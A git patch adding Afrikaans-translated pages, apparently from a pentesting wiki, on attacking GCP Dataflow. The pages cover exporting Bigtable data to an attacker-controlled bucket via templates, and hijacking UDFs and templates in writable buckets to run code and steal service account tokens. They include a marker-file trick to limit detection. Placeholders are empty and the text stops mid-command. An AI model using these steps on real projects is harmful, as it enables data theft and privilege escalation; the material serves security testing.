From 5bda76c488da1ad7801682bf95d8b9a4ceb30e39 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 16 Feb 2026 11:12:44 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow --- .../gcp-dataflow-post-exploitation.md | 53 ++++++ .../gcp-dataflow-privesc.md | 173 ++++++++++++++++++ .../gcp-services/gcp-dataflow-enum.md | 81 ++++++++ 3 files changed, 307 insertions(+) create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow-enum.md diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md new file mode 100644 index 000000000..1a61dbabe --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md @@ -0,0 +1,53 @@ +# GCP - Dataflow Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataflow + +Vir meer inligting oor Dataflow sien: + +{{#ref}} +../gcp-services/gcp-dataflow-enum.md +{{#endref}} + +### Gebruik Dataflow om data van ander dienste te exfiltrateer + +**Permissies:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` (over a SA with access to source and sink) + +Met Dataflow job-skeppingsregte kan jy GCP Dataflow-templates gebruik om data uit Bigtable, BigQuery, Pub/Sub en ander dienste na GCS-buckets wat deur die aanvaller beheer word uit te voer. Dit is 'n kragtige post-exploitation technique wanneer jy Dataflow-toegang bekom het — byvoorbeeld via die [Dataflow Rider](../gcp-privilege-escalation/gcp-dataflow-privesc.md) privilege escalation (pipeline takeover via bucket write). + +> [!NOTE] +> Jy het `iam.serviceAccounts.actAs` oor 'n service account met voldoende permissies nodig om die source te lees en na die sink te skryf. By default word die Compute Engine default SA gebruik as dit nie gespesifiseer is nie. + +#### Bigtable na GCS + +Sien [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md#dump-rows-to-your-bucket) — "Dump rows to your bucket" vir die volledige patroon. Templates: `Cloud_Bigtable_to_GCS_Json`, `Cloud_Bigtable_to_GCS_Parquet`, `Cloud_Bigtable_to_GCS_SequenceFile`. + +
+ +Voer Bigtable na 'n deur die aanvaller beheerde bucket uit +```bash +gcloud dataflow jobs run \ +--gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ +--project= \ +--region= \ +--parameters=bigtableProjectId=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ +--staging-location=gs:///staging/ +``` +
+ +#### BigQuery to GCS + +Dataflow templates bestaan om BigQuery-data uit te voer. Gebruik die toepaslike template vir jou teikenvormaat (JSON, Avro, etc.) en wys die uitset na jou bucket. + +#### Pub/Sub and streaming sources + +Stroompyplyne kan van Pub/Sub (of ander bronne) lees en na GCS skryf. Begin 'n job' met 'n template wat van die teiken Pub/Sub subscription lees en na jou beheerde bucket skryf. + +## References + +- [Dataflow templates](https://cloud.google.com/dataflow/docs/guides/templates/provided-templates) +- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions) +- [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md new file mode 100644 index 000000000..40ea12381 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md @@ -0,0 +1,173 @@ +# GCP - Dataflow Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataflow + +{{#ref}} +../gcp-services/gcp-dataflow-enum.md +{{#endref}} + +### `storage.objects.create`, `storage.objects.get`, `storage.objects.update` + +Dataflow valideer nie die integriteit van UDFs en job template YAMLs wat in GCS gestoor word nie. +Met bucket write access kan jy hierdie lêers oorskryf om kode in te voeg, op die workers kode uit te voer, service account tokens te steel, of dataverwerking te verander. +Beide batch en streaming pipeline jobs is geskikte teikens vir hierdie aanval. Om hierdie aanval op 'n pipeline uit te voer moet ons UDFs/templates vervang voordat die job hardloop, tydens die eerste paar minute (voordat die job workers geskep word) of gedurende die job-run voordat nuwe workers spin up (weens autoscaling). + +**Attack vectors:** +- **UDF hijacking:** Python (`.py`) en JS (`.js`) UDFs wat deur pipelines verwys word en in customer-managed buckets gestoor word +- **Job template hijacking:** Custom YAML pipeline definisies wat in customer-managed buckets gestoor word + + +> [!WARNING] +> **Run-once-per-worker trick:** Dataflow UDFs en template callables word aangeroep **per row/line**. Sonder koördinasie sou exfiltration of token theft duisende kere loop, wat geraas, rate limiting en opsporing tot gevolg het. Gebruik 'n **file-based coordination** patroon: kontroleer aan die begin of 'n marker-lêer (bv. `/tmp/pwnd.txt`) bestaan; as dit bestaan, slaan die kwaadwillige kode oor; as dit nie bestaan nie, voer die payload uit en skep die lêer. Dit verseker dat die payload **once per worker** hardloop, nie per line nie. + + +#### Direct exploitation via gcloud CLI + +1. Enumereer Dataflow jobs en lokaliseer die template/UDF GCS-paaie: + +
+ +Lys jobs en gebruik describe om die template path, staging location, en UDF-referensies te kry +```bash +# List jobs (optionally filter by region) +gcloud dataflow jobs list --region= +gcloud dataflow jobs list --project= + +# Describe a job to get template GCS path, staging location, and any UDF/template references +gcloud dataflow jobs describe --region= --full --format="yaml" +# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH) +# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath +``` +
+ +2. Laai die oorspronklike UDF- of job-sjabloon vanaf GCS af: + +
+ +Laai UDF-lêer of YAML-sjabloon vanaf bucket af +```bash +# If job references a UDF at gs://bucket/path/to/udf.py +gcloud storage cp gs:////.py ./udf_original.py + +# Or for a YAML job template +gcloud storage cp gs:////